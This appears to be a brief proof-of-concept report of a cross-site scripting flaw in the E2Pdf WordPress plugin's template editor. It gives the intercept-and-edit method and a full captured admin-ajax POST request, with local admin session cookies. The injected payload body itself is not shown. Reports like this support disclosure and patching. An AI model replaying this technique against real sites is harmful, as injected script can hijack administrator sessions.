xss vulnerability in Templates and add or edit template then submit Html Object but you can submit object with intercept request like that
POST /wp-admin/admin-ajax.php?e2pdf_check=true&_nonce=e846c471b4 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp-admin/admin.php?page=e2pdf-templates&action=edit&id=2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 12031
Origin: http://localhost
Connection: close
Cookie: wordpress_86a9106ae65537651a8e456835b316ab=admin%7C1667326176%7Cf19PDXQcTXj4RRV3EFRKEpsOu49Oii5zBkMEBaU36Hl%7C6e25560bfca371fdb9adff75c09158181bdb8fd92ba9fefac1b0863a34f19b80; wp-settings-time-1=1667193363; wp-settings-1=libraryContent%3Dbrowse; njt-fs-filemanager-settings-tab_last_tab=1; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_86a9106ae65537651a8e456835b316ab=admin%7C1667326176%7Cf19PDXQcTXj4RRV3EFRKEpsOu49Oii5zBkMEBaU36Hl%7Cc142d334c271b7671a656cce0e37557593e74bb945baa30ba8894f892351db74
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
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